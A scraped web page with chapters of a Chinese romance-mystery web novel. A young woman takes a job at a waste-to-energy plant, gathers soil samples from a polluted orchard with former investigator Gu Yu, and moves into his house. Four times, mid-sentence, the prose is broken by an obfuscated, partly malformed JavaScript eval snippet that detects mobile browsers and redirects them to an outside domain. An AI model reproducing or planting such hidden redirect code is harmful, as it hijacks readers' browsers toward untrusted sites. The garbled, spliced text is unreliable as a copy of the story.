雒知听懂了,认真点头:“薛月姐,所以咱们是要在氢能源公司手里抢垃圾?” “他们从今年初开始,利用多年来做再生资源回收的优势,在虔渡市和周边城镇增设了20万台智能回收设备,打通了下游垃圾回收产业链,刨除里面的可回收物和湿垃圾,剩下的就是我们可以拿来烧的垃圾。你说,这意味着什么?” 雒知眼眸清澈,用笔抵着下巴,故作思考:“意味着,咱们厂必须跟他合作,这个机会不能拱手让给别的发电厂,对吧?” “你还算机灵,跟你说话不费劲。”苏薛月讲完就要赶人了,给她布置下一项工作,“你今天先回去,把垃圾发电的历史和现状系统性学习一遍,资料我会发到你邮箱,但缺什么你要自己去查,下周一再来报道。” “没问题,下周一我连人带行李来报道。” “给你三秒钟,从我面前消失。” “拜拜,薛月姐。” 雒知不烦她了,先行离开,走到门卫处时,一开始拦她的保安大哥笑呵呵地探出头和她打招呼:“怎么样?” “什么?”雒知反应了两秒,“哦哦,过了,过了,咱们今后就是同事了,多多关照啊。” 保安大哥对她竖起大拇指,又热心地给她指路:“前面700米左转有一个公交站,你在那里搭车去镇上会比较好叫车,这里是叫不到的。” “好呀,谢了~” 雒知按照保安大哥指的路朝前走,一路上除了垃圾转运车,再没别的踪迹,路坑坑洼洼的,她走得慢,走了快十余分钟才到公交站,一个小小的生锈的站牌,只有一辆车,看着上面的班次,她皱起眉头,一班车要等三十分钟。 没地方坐,她站在一旁拿出手机给顾驭发了条微信。 「你们的合作谈得怎么样了?」 路过的车卷动风,吹散她的发丝,她捋了捋头发,看到顾驭的回复。 「上车。」 嗯?雒知抬眸看去,眼前已经稳稳停着一辆车,顾驭坐在车后座,按下半边车窗,正看着她。 「去哪儿?」雒知一动不动,也不说话,发微信问他。 顾驭看着她发的文字,眉头皱起,开口道:“不想被人看见就快点。” 雒知左顾右看,确认四周除了疾驰的车辆,再无其他人之后,拉开车门,顾驭挪到了司机后方的位置,雒知上了车,司机眼疾手快地关上车窗。 车内弥漫着淡淡的木质香气,雒知又问:“去哪儿了?”她凡事都要问到底的习惯,对任何人都一样。 “你妈妈留下的照片里的果园,你去看过吗?” “没有。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15776624|174758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “梦到过吗?” 雒知警惕地看了看司机,顾驭解释:“自己人,信得过。” 雒知这才回答:“没有。” “那就去看看,这……”顾驭话还没说完,便听到有人轻轻在用手指叩击车窗玻璃的声音。 “顾总,有个事向您汇报。” 公司的其他车不知什么时候已经跟了上来,见到顾驭的车牌号,都敏锐地停在了后面。 顾驭和雒知面面相觑,雒知摊开双手,冲他耸了耸肩,用口型对他说:“我一个大活人能躲到哪里去?” 顾驭沉思片刻,他才刚上任,不能让公司高管觉得他太自傲,他还需要这些人的支持,但更不能让他们发现雒知在车里。 于是就在雒知毫无心理准备之时,顾驭一只手迅速挽住她的腰,另一只手抬起她的腿,没有半点拖泥带水地抱着她穿过自己身前,她的肩头擦过他的喉结,动作一气呵成,待放下她,两人已经互换了位置,整个过程干净利落。 “你?!”雒知惊讶地看着他,却不忘压低声音。 顾驭眼神坚定,面对雒知的反应,他又单手揽住雒知的肩,顺带捂住了她的嘴,让她别说话,再把她整个人往自己身前一压,她就这样安静地半躺在顾驭腿上。 顾驭这才放心地按下车窗,只隙出一只眼宽的缝。 “王副总,您说。” “顾总,刚才接到杨董助理的电话,他们同意了您提的合作要求。”王副总眼睛忍不住地透过缝隙往里面瞟。 “好,我知道了,您安排推进下一步工作,别的回公司再谈。” “好的,顾总,您……” “什么?” “没什么,没什么,顾总,耽误您时间了,我就先回公司了哈。” “好,辛苦。”说着,顾驭关上车窗,吩咐司机开车。 司机随即发动了车,顿了顿又说:“顾总,王副总应该看见了。” “嗯。”顾驭合上眼,语气淡淡的,“没看见脸无所谓,大不了觉得我行为不检。” “顾驭!你想捂死我吗!” 雒知的声音在车内“唰”地响起,她掰开顾驭的手,狠狠瞪着他。 “抱歉……”顾驭立马松手,放开了她,车内氛围静寂,雒知不知是因为生气还是害羞,胀红着一张脸,两人都有些莫名的拘谨。 顾驭又拧开一瓶苏打水,递给她:“喝点水,润润喉。” 偏偏路况不好,雒知刚接过水,司机为了避开一个低洼路面,猛打一下方向盘,雒知身体瞬间倒向顾驭,顾驭本能地伸手揽住她,水撒了顾驭一身。 司机瞄一眼后视镜,目视前方,忙道歉:“顾总,雒小姐,抱歉抱歉……” 刚说完,又遇到一个水坑,只能再猛一打方向盘,顾驭又倒向了雒知,他及时接过瓶子,剩下的水没有撒在雒知身上。 两人此时贴得太近,雒知试图推开他:“你……能起来吗。” 车已平稳行驶,顾驭没有起身,反而慢慢靠近她,身上冷冽的檀香气息萦绕在她鼻尖。 “顾驭,你做什么?” 顾驭俯身越过她,她的眼前只能看见顾驭湿透的衬衫,顾驭将头靠在她耳边,沉声说:“安全带。” 然后抬手拉出安全带绕过她身前,顾驭骨节分明的手指不经意间碰到她的脖颈,她的脸颊再次泛起红晕。 扣上卡扣后,顾驭又拉了拉,确认系紧了,看她抿着唇不说话,顾驭问:“你在脸红什么?” 5. 第5章 “自作多情。”雒知调整坐姿,别过头,没再看他。 一路上两人相对无言,顾驭合上眼休息,大约两小时后,他们来到冬江下游附近的果园。 一眼望去,周遭荒无人烟,哪有什么果园,只剩下荒废许久的土地、空房子和被遗忘的岁月。 杂草阻断了原本平整的农道,雨水积聚形成连绵水洼,车进不去,司机将车停在路口,在外留守。 雒知往自己的Hobo包里装了两瓶水,顾驭提起一个竖形铁皮盒,又捞起遗落的单反相机往肩上一甩,他们一前一后地走向田埂深处。 空气潮湿,泥土气息渐重,雒知仔细看着脚下,害怕会窜出什么奇怪的生物。 下一瞬…… “啊!”顾驭冷不丁地发出一声短促,又立刻噤声。 “什么?什么?”雒知身子一颤,定在原地,半步也不敢再往前,眼睛直勾勾地盯着顾驭的后脑勺,他僵直地站立着,背对她,久不回应。 “怎么了?!快说话!”雒知向前探出一点头,“顾驭,你看到什么了?” 顾驭攥紧拳头,片刻才沉声开口:“没。” “……”雒知神色疑惑,催促他,“那你停下来做什么,快走,天要黑了。” “嗯。”顾驭还是迈不开腿,“等等。” 雒知双手叉腰,好奇心战胜了恐惧,她抓着顾驭的肩膀,顾驭试图阻拦她:“诶,你不要着急……” 雒知才不管那么多,待她从侧面挤到顾驭身前,回头一看:“顾驭,你……” 她接着笑出了声:“你一个办案的,专门管悬案的,什么没见过,怎么会怕虫子?” “谁说我怕了,我是……不想杀生……”顾驭嘴比心硬,他仰起头,不去看裤子上附着的蝼蛄,只一味地抖动裤腿。 那拇指长的暗褐色蝼蛄纹丝不动,它头似圆锥,身上盖着铁甲壳,尾须又长又细,雒知第一次见到这种虫子,其实并不少见,只是她很少来田里而已。 雒知生出兴趣,弯弯腰,凑近了看它,突然抬眸对顾驭说:“它长了6只脚。” “你……别说话了。” “我帮你一次,你要记住我的恩情哦。”雒知伸出手指,比了个OK的手势。 顾驭伸手挡住眼底视线,看着她:“你要干什么?” “弹开它。”话音未落,雒知用常年下象棋的食指,有力地弹飞了蝼蛄,还很有成就感地让顾驭看,“原来它会飞呢,它的翅膀好长。” “……”顾驭的唇角耷拉着,说不清是丢脸还是无地自容,两种都一样,他又绕到雒知身前,淡淡说,“走了。” 雒知没有嘲笑他,只是扯过他的西服袖口,擦了擦手,两人又继续上路。 土生万物,越往深处走,泥土的颜色越青,肉眼可见的发绿。 泥土里混杂着的恶臭味也更加刺鼻,雒知有过敏性鼻炎,对气味极其敏感,她用手捂住鼻子,最后两人在一棵枯树前停下。 雒知打开手机里保存的照片,这就是移动硬盘里其中一张照片的同款点位,她举起手机比对着,和她心中预料的相同,照片里果林茂盛,眼前只剩枯枝。 妈妈是想告诉她,这里的土地被污染了,但会这么简单吗?雒知暗暗思忖。 顾驭围绕这棵树,拍下许多照片,但现场热点区域范围太大,他没办法系统性地采样。于是,他在分析土壤的外观特征、气味以及植被覆盖等情况后,选择了一块污染可能最重的地块作为采样对象。 “我可以帮你做什么?”雒知走得腿酸,半蹲在地上,双手抱膝。 “你还是捂着鼻子,休息会儿吧,体力活我来,脑力活你来。”顾驭又找回了自信,全然忘了刚才怕虫子的也是他。 雒知点点头,不和他争,从包里拿出水给他:“好好干。”顾驭接过水就喝了半瓶。 天色暗下来,借着黑夜做掩护,顾驭从提了一路的长铁盒里取出环刀和土钻,用随机布点采样法,开始采取表层土样本。 雒知打开手机电筒,替他照明,即便他准备了照明灯。 “走吧。”顾驭将样本逐一装进土壤袋里,贴上标签,写上经纬度、采样时间、土壤特征等信息,“深层土采不了,如果表层土化验有了结果,就可以交给督巡局深入调查。” “我现在算你们的线人吗?”雒知蹲久了,腿很麻,顾驭走上前去扶她起来。 “别套我话,我已经辞职了。”顾驭说完就及时松开手,将照明灯交给她,自己打开手机电筒走在前面。 雒知不再留心脚下,以这里的土壤污染程度,不会出现能吓到她的动物,顶多就是一些让顾驭害怕的虫子,但她乐于助人,可以保护他。 想到这儿,雒知感到有些戏虐。她仰起头望向上空,清澈的眼眸里顷刻间映入了纯粹、黑暗、沉默、迷幻以及闪闪发光的无边星海。 它就这样挂在天上,美得不像话,亮如星钻,漫布天幕,让人心慌。 雒知没有出声,可顾驭却感知到她停下了脚步,回头看着她。 “原来星星这么亮,在城市里生活久了,只顾着低头看路,都忘了抬头看天。”雒知突然发出感叹。 顾驭顺着她的视线看去:“如果星星一年只出现一天,人们会觉得更美。” 顾驭的眼神变得柔软,雒知与他相识不过半月,他的身上笼罩着太多未知的秘密,雒知问过,他始终保持着警惕。此刻,雒知突然不想知道了,更不希望产生复杂的交集。 静静无声,就连凛风刮过都变得温柔,周围的一切好像静止了,他们各自心里在惦念着谁,互不相知。 “我们许个愿吧。”雒知提议。 “不是应该对流星许愿吗?说给星星有用?”顾驭给她的一时兴起泼了凉水。 “许愿,重要的是‘许’,心诚就好,实不实现又有什么重要?” “按照你的逻辑,只要心诚,对蝼蛄许愿也一样?” 顾驭突如其来的抬杠,真煞风景。 雒知点点头,眼疾手快地从杂草丛里逮了一只蝼蛄,直直送到顾驭眼前:“对呀,快把你的愿望说给它听。” “!!!雒知!”顾驭脖子往后靠,紧闭双眼,片刻不敢睁开。 “挺勇敢啊,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15776625|174758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有拔腿就跑,算你还有点人性。” 顾驭很快反应过来,他这么精明的人竟然被雒知耍了,他勉强睁开眼,看清她手里只有一根枯草。 “许愿,许个愿而已,怎么也不会吃亏的。”顾驭转了口风,虔诚地许愿。 雒知笑笑不说话,闭上眼,双手合十,在心里对星星说了一个愿望,说了很久。 “你许了一个故事?”待她睁眼,顾驭好奇地问。 雒知没接话,她望着天,望着望着,轻轻推他:“我饿了,快出去了。” “嗯。” 顾驭背过身去,雒知的眼角微微湿润,泪水偷偷涌出,从鼻尖滑落,又被她很快拭去。 路灯渐亮,她关上照明灯,顾驭将箱子放进后备箱,让她先上车。 和来时一样,两人又是相对无言。 即将进入虔渡市时,顾驭让司机将车停靠在休息站并打开后备箱,不一会儿,一个穿着灰色风衣的男人就取走了铁皮箱子。 “他负责化验?他也是你信得过的人?”雒知问。 “嗯,我们采的样本需要先做预处理,才能送实验室,他是这方面的专家。” “什么时候能出结果。” “顺利的话,一至两周。” “嗯,那我也在这里下车吧。”雒知摘下安全带,伸手拉车门。 “你不是要吃饭吗?” 司机很会察言观色,他没有解锁车门。 “被人看到怎么办?”雒知的担心并无来由,在一座城市被人遇到的可能性太小。 “不会。”顾驭笃定道。 “那也没必要。” “你请我吃饭,作为合作伙伴。” “……”雒知想了想,她不愿意费心思和他一来一回的周旋,只是吃餐饭,不代表什么,她是个大大方方的人,“那就给你这个机会。” 顾驭带她来到市区一间娘惹菜私房餐厅,刚一坐下,服务员就上前问候。 “顾先生,现在上菜吗?” 雒知打量周围环境,心中盘算着熟客,这路线应该带不少女孩子来过。 顾驭示意再稍等一下,然后将菜单递给雒知,一道一道指着介绍:“我点了黑果鸡,是他们的招牌菜,还有仁当牛肉、叁峇虾、羊角豆、小金杯、娘惹糕……你看看,你想加点什么。” “还有朋友要来吗?”雒知一边翻着菜单一边问。 顾驭难得露出笑容:“不能错过这个宰你一顿的机会。” “哦。”雒知手压住菜单,随后叫来服务员,“你好,加一份叻沙、五香卷,然后再要两份榴莲煎蕊,可以上菜了,谢谢。” “好的,如果吃不完请让我们为您打包。”服务员贴心地提醒道。 “好。” 雒知又看向顾驭:“你吃榴莲吗?” “吃,不过你已经点了才问我,如果我不吃呢?” “我吃呀,两份也没问题。” “嗯,多吃是福。” 席间,顾驭问起雒知在入住员工宿舍前的打算。 “你今晚住哪里?酒店还是回家?” 6. 第6章 “回家”两个字对雒知而言,很邈远。 过去,她厌烦回家。哪怕她人生的大半时光,都是在那方熟悉的空间里度过的。 如今,她害怕回家。没有令她避之不及的管束后,她失去了家的概念。 这似乎矛盾又可悲,可这也是许多二十出头年轻人的心理写照。 “魂还在吗?”顾驭伸出手在她眼前晃了晃,落地玻璃窗上透出两人的侧影。 窗外月亮正明,高楼大厦如乐高堆砌而成的钢铁巨兽,各路灯光在其间穿梭闪烁,将原本冷硬的钢筋水泥映照得熠熠生辉,好似烟火气降落凡间,却不通人性。 雒知收回飘远的思绪,拿餐巾擦嘴,手托起半边脸,神色平静:“人归土,魂归壳,看不见吗?” 自从顾驭摘掉督察官的职业光环,雒知对他说话也不再客气。 “所以,你这具壳准备在何处落脚?”不等雒知回答,他又接着说,“我建议你还是在家住。” 雒知歪了歪头,揣测着他的意图。 “住酒店不是长久之计,除了眼前这三天,以后你周末还是要回市区的,如果休假也窝在宿舍,会显得很奇怪。你的目的是去找线索,没必要在小事上惹人怀疑和注目。” “这是我自己的事,就不劳烦顾总操心了吧。”雒知叫来服务员,准备结账。 “我的意思是,你住在我家里比较好。” “?”雒知接过账单,视线落在收银条末尾的数字上,一时之间,她竟不知是这4200的餐费更令她震惊,还是顾驭说的话更让她意想不到。 她沉静地对服务员亮出付款码,虽说她心里有预期,来时就看出这间餐厅很贵,但既然要请客,就不能计较钱。话是这么说,可顾驭也太下得去手了,这钱一付,还是让她心痛不已。 “怎么不回答,在考虑?”顾驭看她脸色渐渐不善,拉回话题。 雒知不想显得自己小气,硬扯出一个微笑,皮笑肉不笑地分析:“你认为你家比我家好,理由是什么,不会是多了个你吧?” “你可以这么理解。”顾驭一本正经地回答。 “?” “雒知,你有没有想过,下周你住进员工宿舍后,如果晚上做梦怎么办?” 这的确是一个问题,至今为止,她做过好几次预知梦,都是只有她一个人的时候。她曾整夜用手机和相机记录自己睡觉的过程,但奇怪的是,只要有设备在拍摄,那么她那一夜都不会做梦。这类似波粒二象限,又不完全一样,她的梦不会呈现两种状态,她的梦不可观测。 所以,她不知道自己会不会说梦话,也不知道自己做梦时,有没有异常的举动,如果被同住的同事发现端倪,不仅什么也查不到,还会打草惊蛇。 顾驭作为经历过预知梦的过来人,他显然知道这一点,于是接着劝说雒知:“你住一楼,我住二楼,这三天,我会关注你的睡眠情况。” “怎么关注?” “肉眼关注。” “?” “那不然还有什么仪器可以关注吗?” “不了,瘆人。而且,我最近已经很少做梦了。”最后一次,就是顾驭敲门那一次。 “你不要回避,你需要做梦,能从预知梦里看到未来,这是你的优势。所以,让我们一起找出能让你触发预知梦的原因,从而控制做梦的时间,这样你就可以周中工作,周末做梦,避免在宿舍露出破绽。” “顾总,你还给预知梦排上班了啊……” “我是从实际出发,你赞同吗?” 顾驭的提议,细想之下,的确比住酒店更合适,一方面雒知对预知梦知之甚少,她需要更了解自己的梦,从梦里获得有用的信息;另一方面,她没有那么多闲钱可以用来挥霍,那三百万,除了给雒烟买墓地,其余的钱她一分也没动。 “房租怎么算。” 顾驭没有想过房租这个问题,但雒知既然问了,他如果不收房租,会显得别有用心,如果收了,又不比酒店有性价比,他陷入两难,最后思考片刻,提了一个他自认为合理的价格。 “你基本上只住周末,那么每月房租就收100股我公司的股票。” 这方案,和顾驭本人一样,正经中透露着怪异。雒知打开网页搜索顾驭公司的股价,今日是9.5,这样算来,100股是950,她一个月大概住8天,每天差不多100出头,和住酒店比起来,性价比险胜。 “听起来不错,那股价上涨怎么办?”雒知从K线图上看到,他的氢能源公司从去年上市以来,股价一路呈上升趋势。她可没闲工夫,以后整天盯着他的股价买入。 顾驭站起身,穿上外套,想了想后说:“确实存在这个可能,毕竟我的公司势头正好。这样吧,你索性现在就多买些,就当多付几个月房租,总不会亏的。” “这样啊,顾驭,原来你安的是这个心。”雒知又刷新了对他的认识,可他说的对,不要做亏钱的买卖,“不住了可以退租吗?” “当然,按当日收盘价退你钱。” “成交。”雒知入了600股。 在去顾驭家前,他们先去了酒店。雒知收拾好行李,在大堂办理退房,顾驭在车上等她。 雒知有两个行李箱,她询问酒店前台工作人员:“请问可以寄存行李吗?” “没问题,您什么时候取。” “嗯……估计不会太快,寄存一个月多少钱?” “这……”酒店只负责替当日退房的客人暂存行李,还没有长时间寄存的业务,但对于小酒店来说,谁会放着生意不做呢,前台工作人员请示上级后,接下了这个业务,“雒小姐,寄存费每月400,但为了避免您的贵重物品丢失或其他风险,我们需要开箱拍照存证,您看可以接受吗?” “好。” 雒知打开箱子,酒店工作人员看到箱内的东西明显心里格愣了一下,但很快又管理好表情,利落地办 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15776626|174758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完寄存手续。 雒知手中只剩下一件行李,她拉着箱子走出酒店,顾驭正站在车外打电话,余光瞥到她,走来从她手中接过箱子,眼神示意她先上车,而后一手举着手机,一手自然地将她的行李放进后备箱。 或许是因为雒知在车上的缘故,顾驭戴上蓝牙耳机,手握方向盘,时不时地回应对方“嗯”“可以”等话,大多时候是长久的沉默,只听对方讲话,自己不出声。 直到车缓缓驶入一片被茂密绿林环绕的三环外别墅区。 “到了,下车吧。”顾驭在停车的同时,他的电话不知什么时候也挂断了。 刚打开车门,一股刺骨的寒意便迎面袭来,这里的空气相较于喧嚣的市中心,显得更加清新而冷冽。 雒知在他的引领下,首次踏入他的家,可心中却莫名涌起一股难以言喻的熟悉感,但又不符合想象,顾驭的家没有他身上那种冰冷的味道,很温暖。 屋内灯光异常明亮,长时间开着的暖气烘得她眼眶微红,有些熏人,顾驭帮她挂好外套,雒知继续向屋内走去,映入眼帘的是一幅挂在墙上的全家福,照片里有四个人。 “那是我哥。”顾驭打开一楼客房门,让她参观房间。 “哦。”雒知没有问关于他家人的话题,而后大致看了看一楼的布局和环境,除了她带来的行李,生活所需的物件几乎一应俱全,从床单的折痕可以看出,床品也是新的。 “你先休息,有事叫我。”说完,顾驭上了二楼。 雒知待在房间里,简单整理了几件衣服,挂进衣柜,就先睡了,她在酒店住的日子睡得很晚,即便睡着了也感觉不安稳。 她怕睡着,怕梦到不好的事,也怕失去这一窥探未来的机会,在矛盾交织中,黑眼圈也越来越重。 夜里,雒知又醒了。晚餐吃得太咸,喉咙发干,她起身去客厅倒水,一抬眸看见二楼一处房间门漏着一条缝,灯光透出来。 她踌躇片刻,沿楼梯上了二楼,站在顾驭的房门前,她的手悬在半空,犹豫是敲还是不敲门,可想到这时间他多半是睡了,于是轻轻推开门,想帮他关上灯。 “你干什么?” “你还没睡?”雒知这才看见,他连衣服都没换,就坐在飘窗边,手边放着一碟缀着盐的柠檬,手中握着一杯龙舌兰。 “你睡不着,还是不敢睡?”顾驭放下酒,起身朝她走来。 见他靠近,雒知一头冷雾粽慵懒卷锁骨发都抖了抖,腿不自觉地退后两步,还顺手带上了他的门,在门关闭间隙,匆忙说:“我睡了,晚安。” 顾驭看她脚底生风,耳边传来“哒哒哒”的下楼声,不明白她在心虚什么。 第二天,雒知睡到自然醒,她睁开眼的一瞬,大脑迟缓了两秒,才适应了自己现在住在顾驭家里。 她在房间内梳洗后,准备和顾驭打个招呼就出门。等她来到客厅,才看到偌大的房子里,空无一人,餐桌上,顾驭留了纸条。 7. 第7章 纸条写着“家门密码是010208”,瘦金体的字,笔锋遒劲。 雒知看过后将纸条揉成团,扔进垃圾桶,然后坐下吃早餐。 桌上有切好的水果和面包篮,装着碱水结、盐面包、肉桂卷……她徒手拿起一块,还是温热的。 出门前,她也写下一张纸条放在桌上,然后换了件蓝色条纹衬衫,搭配棕色麂皮短裙和短靴,这样显得人精神点。 喷泉边,池月牙从人群中冒出一个头,担心雒知看不见她,不时地踮起脚尖向她挥手。 “知知!” “是这家吗?”雒知指向一旁,她远远就看见了月牙,这个在人群里一眼望去,最有“生机”的女孩儿。 池月牙手腕上挂着精致的小皮包,蹦蹦哒哒地跑过来,挽起她的胳膊,两人有说有笑地进了街边的咖啡馆。 刚坐下,池月牙就撇起嘴:“知知,你很难受吧,这段时间你是怎么过来的?哎,我问的这叫什么屁话,怎么可能不难过。” 她又握住雒知的手,眼里满是歉意:“对不起,考完试才有人告诉我你家发生了这么多事,这些日子我居然没陪在你身边,就连雒烟姐姐的葬礼都没去,我算什么朋友啊,你骂我吧。” “说什么呢。”雒知眼眸低垂,“你陪着我又有什么用,多一个人叠加负面情绪,没必要。还有很多重要的事在推着我往前走,我没空难过,你也别内疚了。” 雒知一直是个坚硬的人,也不全是。 小时候,她被寄养在姥姥家,认识了住在一街之隔的高档小区里的池月牙,两个小女孩勉强算是邻居。有一年春节,雒知求着雒烟陪她晚上出去玩,然后就去了池月牙家拜年,雒烟在别人家里很不自在,雒知毫无察觉,扯着嗓子非要拉她们出去放烟花。 雒知人小手笨,火苗“噌”地一下从池月牙脚底窜了上来,烫得池月牙连忙脱了鞋,眼看火苗又沾上了裤腿,雒知一把就将池月牙推进小区里的喷泉池,吓得雒烟也跟着跳进去,一把将灭了火的池月牙拉出来。事后,池月牙对家人说是不小心摔进去的。 人的天真天性往往通过闯祸来体现,那时的雒知还是个鲜活的“人”。 池月牙一路见证雒知的变化,池月牙了解她,她就是表面上无坚不摧,骨子里比谁都硬,但一旦触及到在乎的人,一碰就化。 “知知,你铁了心要进那个什么发电厂工作?如果杨荃真是幕后黑手,那你不是羊入虎口吗?我很担心你。” “我其实……”雒知还没想好怎么说可以让池月牙放心。 池月牙忽而眼睛一亮,信誓旦旦地对她笑:“担心归担心,我支持你,你大胆去,身后有我呢!” “月牙,你是不是……”雒知隐隐不安。 “喏,你好好瞧瞧。”池月牙从牛仔外套口袋里摸出崭新的工作证,上面赫然印着“四级督巡员池月牙”。 “你考上了!”雒知满心满眼的欢喜,又忍不住替她胆战心惊,“事以密成,你从来都是闷头备考,我现在才知道,你一直以来想考的是督巡局,你知道你的工作有多危险吗?” 池月牙自小就有一颗沸腾的心,有类人的正义感是天生的,她就是这样的人,乐观、善良、精神永远向上。 “知知,你太看得起我了,我现在还只能做简单的资料分析工作,你想象中危险的事,轮不到我。不过,我还是会帮你,在和工作不冲突的前提下。” 池月牙仔细观察四周,又压低了声音:“我已经向我的领导汇报过你的案件了,我本意是希望他可以派人保护你,没想到我一提你的名字,他竟然说认识你。而且督巡局一直在秘密调查这件事,不过多余的信息不能透露给我,但即便我知道,我也要坚守职业道德,不能往外说。知知,你不会觉得我很装蒜吧?” “我哪儿敢啊,今后就仰仗池督巡了,我祝你前途顺遂,早日当上督察官。”雒知又好奇道,“你的领导叫什么?” “纪强,你知道吗?”池月牙很兴奋地说起他,“他人其实还不错,就是嗓门儿大了些,听他说话总像在吼人。” “哦,是他,因为雒烟的事见过一次。” 听到雒知提起雒烟,池月牙意识到自己不该提这茬,气氛低沉,连忙转移话题:“我什么时候才能开始办案讷,整日对着卷宗,分析来分析去,就是不能真正参与案件,虽然我知道分析工作也很重要,可还是想再进一步,至于督察官我是不敢想,要能混上个督巡官我就很满足了。” 雒知鼓励她:“万事开头难,你又努力又幸运,一定能实现梦想。”雒知不可否认,她羡慕月牙的人生,不像她,即便努力,也残缺不全。 “都说我幸运,我确实幸运!”池月牙打开了话匣子,“我听说原本我们这一届的上级是一个超级铁面无私,不近人情的督察官,他眼里容不下半粒沙子。什么特训新员工,深山蛰伏大半月,笔录里抠字眼等几天几夜都抖不完的事迹可谓是源远流长讷。我还犯愁如果在他手下做事,该有多窒息。” 说着说着,池月牙两手一摊,发出朗朗笑声:“哈哈,结果在本大小姐考上前,他离职了,真是离得好!诶,他好像叫顾驭,知知,你不会也认识吧?” “啊……” “对了,知知,我今天约你还有个事想问,你要不要去我家住?我陪着你啊,有什么事,咱们俩也好商量。” “月牙,谢谢你呀。暂时不用了,我不想打扰叔叔阿姨。” “那你现在住哪里啊?你今天怎么来这么晚,你不会为了省钱,跑到郊区的酒店去住了吧?” “没有,没有……” “池月牙?” 雒知的身后走来两个人,纪强一手握着一杯咖啡,本是买走喝,见到她们,顺势坐了下来。 雒知原本倚靠着内侧的椅子扶手,立刻转向了外侧,表情复杂。 “纪长官!你也来喝咖啡啊……”池月牙热情地问好,内心悔意漫溢,她太掉以轻心了,这里离督巡局很近,不该约在这儿见面的,刚才夸夸其谈的话,不会都被听见了吧,好在说的都是顾驭的坏话…… 纪强坐在池月牙旁边,他打量着雒知,没说什么,又转向池月牙:“入职 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15776627|174758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 培训第一课,你没忘吧?” “守口如瓶,放心,我可是……” “行了。”纪强打断她,冲对面扬了扬头,“你没什么要说的?” 顾驭微微调整坐姿,又看向身旁的雒知:“你没什么要说的?” “我没什么要说的。”雒知目视前方,眼神坚定。 池月牙忽闪着一双大眼睛:“你们认识?” 顾驭对池月牙友好地打招呼,又说:“刚还听老纪说起你,说是来了个机灵的。” “谢谢夸奖!”池月牙不知怎么想的,拿起自己的咖啡杯去碰纪强的杯子,“多谢领导的肯定哈!” 在场四人里,只有池月牙看上去是高兴的,她又问雒知:“知知,你怎么眼神定住了?” 雒知笑笑,垂眼看手机:“放空了一下。” “哦哦。” 池月牙对顾驭的印象很好,毕竟夸了她,又接着问:“您是纪长官的朋友吗?怎么称呼?” “顾驭。” “哦,顾……哦……哦!我……”池月牙深吸一口气,再憋不出后面的话。 现在,在场的四个人里,没一个是高兴的。 “说正事吧。”顾驭不计较闲言碎语,何况池月牙说的也是事实,他率先打断沉默,“老纪,你来安排。” “雒知,你下周能不能找机会拿到三个月前中控室的监控录像。”纪强拿出笔和平面图,将需要调取监控的具体位置信息做上标记。 “我会想办法。”雒知毫不迟疑地应下来。 纪强提醒她:“你需要取得杨荃的信任,这很难,他现在肯定认为你目的不纯,所以如果这行动有风险,宁肯不完成,也不要引他对你出手。” “我会想办法。”雒知又重申了一遍。 “好。”纪强感受到她的肯定,但对她的怀疑并没有因此降低。 “那我呢?”池月牙期待许久,她也想出一份力,“纪长官,就让我参与吧,再新的员工也需要丢进战场磨砺,不然怎么成长,您说对吧?” “你什么时候改掉这急功近利的毛病,什么时候再上战场。”纪强不耐烦地摇摇头。 “……”池月牙不泄气,立刻调整心态,“那有什么资料分析可以让我做?最近手头上工作不够饱和啊。” “她是化学专业?”顾驭倒是很欣赏池月牙这股子劲,建议纪强给她个机会试试水。 纪强最见不得谁工作不饱和,索性顺了她的意:“你下周去督巡局实验室,看你能从土壤样本中找到什么。” “好!各位,拭目以待吧!”池月牙又满血复活了。 “那,我们先走了?”池月牙拉上雒知,对他们两位说再见,她虽然表面大大咧咧,但心思细腻,她看雒知沉默不语,一定是觉得这氛围太拘谨了。 纪强立即对她们挥了挥手,他也嫌池月牙太聒噪,想清净清净耳朵。 雒知刚站起身,顾驭却不合时宜地问了句:“你今晚回来住吗?” “……” “?”池月牙看向雒知,“知知,你们?” 8. 第8章 